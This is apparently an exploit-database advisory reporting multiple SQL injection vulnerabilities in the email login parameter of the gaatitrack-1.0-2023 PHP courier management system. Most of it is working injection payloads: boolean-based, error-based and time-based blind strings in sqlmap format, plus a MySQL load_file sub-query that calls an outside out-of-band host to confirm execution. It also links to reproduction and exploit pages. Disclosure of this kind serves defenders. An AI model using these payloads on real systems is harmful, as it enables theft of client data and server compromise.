## Title: gaatitrack-1.0-2023 Multiple-SQLi ## Author: nu11secur1ty ## Date: 08/31/2023 ## Vendor: https://www.mayurik.com/ ## Software: https://www.mayurik.com/source-code/P0998/best-courier-management-system-project-in-php ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The email parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\v1xhdo8vwaoytlogdhfl6galdcj57vvmyaqxgl5.tupaputka.com\\ffm'))+' was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all the information for the clients of this application from the server, and very sensitive information for accessing the server by exploiting the vulnerability. STATUS: HIGH-CRITICAL Vulnerability [+]Payload: ```MySQL --- Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: email=mayuri.infospace@gmail.com'+(select load_file('\\\\v1xhdo8vwaoytlogdhfl6galdcj57vvmyaqxgl5.tupaputka.com\\ffm'))+'' OR NOT 9478=9478-- PfLy&password=admin Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: email=mayuri.infospace@gmail.com'+(select load_file('\\\\v1xhdo8vwaoytlogdhfl6galdcj57vvmyaqxgl5.tupaputka.com\\ffm'))+'' OR (SELECT 9464 FROM(SELECT COUNT(*),CONCAT(0x7176767071,(SELECT (ELT(9464=9464,1))),0x7162626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QTps&password=admin Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=mayuri.infospace@gmail.com'+(select load_file('\\\\v1xhdo8vwaoytlogdhfl6galdcj57vvmyaqxgl5.tupaputka.com\\ffm'))+'' AND (SELECT 4385 FROM (SELECT(SLEEP(15)))AHWF)-- CATW&password=admin --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/gaatitrack-1.0-2023) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/10/gaatitrack-10-2023-multiple-sqli.html) ## Time spend: 01:10:00